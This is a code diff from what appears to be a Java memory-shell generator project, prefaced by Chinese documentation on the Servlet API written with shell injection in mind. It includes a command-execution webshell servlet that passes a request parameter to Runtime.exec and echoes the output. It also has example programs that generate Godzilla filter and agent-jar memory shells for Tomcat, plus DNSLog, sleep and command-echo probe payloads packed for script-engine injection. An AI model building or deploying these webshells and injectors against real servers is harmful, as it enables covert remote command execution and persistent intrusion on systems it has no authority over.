ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
||||||
|
|
||||||
|
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
||||||
|
|
||||||
|
```java
|
||||||
|
addServlet(String servletName, String className);
|
||||||
|
addServlet(String servletName, Servlet servlet);
|
||||||
|
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
||||||
|
addFilter(String filterName, String className);
|
||||||
|
addFilter(String filterName, Filter filter);
|
||||||
|
addFilter(String filterName, Class <? extends Filter> filterClass);
|
||||||
|
void addListener(String className);
|
||||||
|
void addListener(T t);
|
||||||
|
void addListener(Class <? extends EventListener> listenerClass);
|
||||||
|
```
|
||||||
|
|
||||||
|
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
||||||
|
|
||||||
|
## HttpServlet
|
||||||
|
|
||||||
|
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||||||
|
|
||||||
|
```java
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
```
|
||||||
|
|
||||||
|
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||||||
|
|
||||||
|
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebServlet(”/foo”)
|
||||||
|
public class CalculatorServlet extends HttpServlet{
|
||||||
|
//...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<url-pattern>/foo</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
## ServletShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||||||
|
|
||||||
|
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandServlet extends HttpServlet {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
doPost(req, resp);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>com.reajason.javaweb.maven</groupId>
|
||||||
|
<artifactId>memshell-party-maven-example</artifactId>
|
||||||
|
<version>1.0-SNAPSHOT</version>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<maven.compiler.source>8</maven.compiler.source>
|
||||||
|
<maven.compiler.target>8</maven.compiler.target>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>2.0.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>packer</artifactId>
|
||||||
|
<version>2.0.0</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
||||||
|
<repositories>
|
||||||
|
<repository>
|
||||||
|
<name>Central Portal Snapshots</name>
|
||||||
|
<id>central-portal-snapshots</id>
|
||||||
|
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
||||||
|
<releases>
|
||||||
|
<enabled>false</enabled>
|
||||||
|
</releases>
|
||||||
|
<snapshots>
|
||||||
|
<enabled>true</enabled>
|
||||||
|
</snapshots>
|
||||||
|
</repository>
|
||||||
|
</repositories>
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class DnsLogProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.DNSLog)
|
||||||
|
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
||||||
|
.host("xxx.dns.log")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class Godzilla {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class GodzillaAgent {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class ResponseBodyProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Command)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.reqHeaderName("X-Echo")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class SleepProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.Sleep)
|
||||||
|
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
SleepConfig sleepConfig = SleepConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.seconds(5).build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.memsell'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
finalizedBy jacocoTestReport
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":common")
|
|
||||||
implementation project(":deserialize")
|
|
||||||
implementation project(":memshell")
|
|
||||||
implementation project(":memshell-java8")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api'
|
|
||||||
|
|
||||||
// implementation 'xalan:xalan'
|
|
||||||
implementation 'org.apache.bcel:bcel'
|
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
|
||||||
implementation 'commons-codec:commons-codec'
|
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
|
||||||
// implementation 'org.java-websocket:Java-WebSocket'
|
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
|
||||||
implementation 'org.springframework:spring-webflux'
|
|
||||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation "org.mockito:mockito-core"
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
id("maven-publish-convention")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "MemShell Generator for Java"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
tasks.compileTestJava {
|
||||||
|
javaCompiler.set(javaToolchains.compilerFor {
|
||||||
|
languageVersion.set(JavaLanguageVersion.of(17))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":memshell-party-common"))
|
||||||
|
implementation(project(":packer"))
|
||||||
|
implementation(libs.byte.buddy)
|
||||||
|
implementation(libs.asm.commons)
|
||||||
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.spring.webmvc)
|
||||||
|
implementation(libs.spring.webflux)
|
||||||
|
implementation(libs.reactor.netty.core)
|
||||||
|
|
||||||
|
implementation(libs.bundles.jna)
|
||||||
|
implementation(libs.bcel)
|
||||||
|
implementation(libs.jackson.databind)
|
||||||
|
testImplementation(libs.junit.jupiter)
|
||||||
|
testImplementation(libs.hamcrest)
|
||||||
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
testImplementation(libs.bundles.mockito)
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/21
|
||||||
|
*/
|
||||||
|
public class GenerationException extends RuntimeException {
|
||||||
|
public GenerationException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerationException(String message, Throwable cause) {
|
||||||
|
super(message, cause);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/11
|
||||||
|
*/
|
||||||
|
public class Server {
|
||||||
|
public static final String Tomcat = "Tomcat";
|
||||||
|
public static final String Jetty = "Jetty";
|
||||||
|
public static final String Undertow = "Undertow";
|
||||||
|
public static final String JBoss = "JBoss";
|
||||||
|
public static final String Resin = "Resin";
|
||||||
|
public static final String WebLogic = "WebLogic";
|
||||||
|
public static final String WebSphere = "WebSphere";
|
||||||
|
public static final String GlassFish = "GlassFish";
|
||||||
|
public static final String TongWeb = "TongWeb";
|
||||||
|
public static final String BES = "BES";
|
||||||
|
public static final String InforSuite = "InforSuite";
|
||||||
|
public static final String Apusic = "Apusic";
|
||||||
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
|
public static final String XXLJOB = "XXLJOB";
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public interface ShellGenerator {
|
||||||
|
|
||||||
|
byte[] getBytes();
|
||||||
|
}
|
||||||
@@ -1,52 +1,62 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class MemShellGenerator {
|
public class MemShellGenerator {
|
||||||
|
|
||||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
Server server = shellConfig.getServer();
|
String serverName = shellConfig.getServer();
|
||||||
AbstractShell shell = server.getShell();
|
AbstractServer server = ServerFactory.getServer(serverName);
|
||||||
if (shell == null) {
|
if (server == null) {
|
||||||
throw new IllegalArgumentException("Unsupported server");
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
|
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||||
|
} else {
|
||||||
|
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
|
if (shellInjectorPair == null) {
|
||||||
|
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
|
injectorClass = shellInjectorPair.getRight();
|
||||||
|
shellToolConfig.setShellClass(shellClass);
|
||||||
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
}
|
}
|
||||||
|
|
||||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
if (shellInjectorPair == null) {
|
|
||||||
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
|
||||||
}
|
|
||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
|
||||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
|
||||||
|
|
||||||
shellToolConfig.setShellClass(shellClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
injectorConfig = injectorConfig
|
return MemShellResult.builder()
|
||||||
.toBuilder()
|
|
||||||
.injectorClass(injectorClass)
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.shellClassBytes(shellBytes).build();
|
|
||||||
|
|
||||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
|
||||||
|
|
||||||
return GenerateResult.builder()
|
|
||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
.shellToolConfig(shellToolConfig)
|
.shellToolConfig(shellToolConfig)
|
||||||
.injectorConfig(injectorConfig)
|
.injectorConfig(injectorConfig)
|
||||||
@@ -54,23 +64,7 @@ public class MemShellGenerator {
|
|||||||
.shellBytes(shellBytes)
|
.shellBytes(shellBytes)
|
||||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
.injectorBytes(injectorBytes)
|
.injectorBytes(injectorBytes)
|
||||||
|
.injectorInnerClassBytes(innerClassBytes)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
switch (shellConfig.getShellTool()) {
|
|
||||||
case Godzilla:
|
|
||||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
|
||||||
case Command:
|
|
||||||
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
|
||||||
case Behinder:
|
|
||||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
|
||||||
case Suo5:
|
|
||||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
|
||||||
case AntSword:
|
|
||||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
|
||||||
default:
|
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
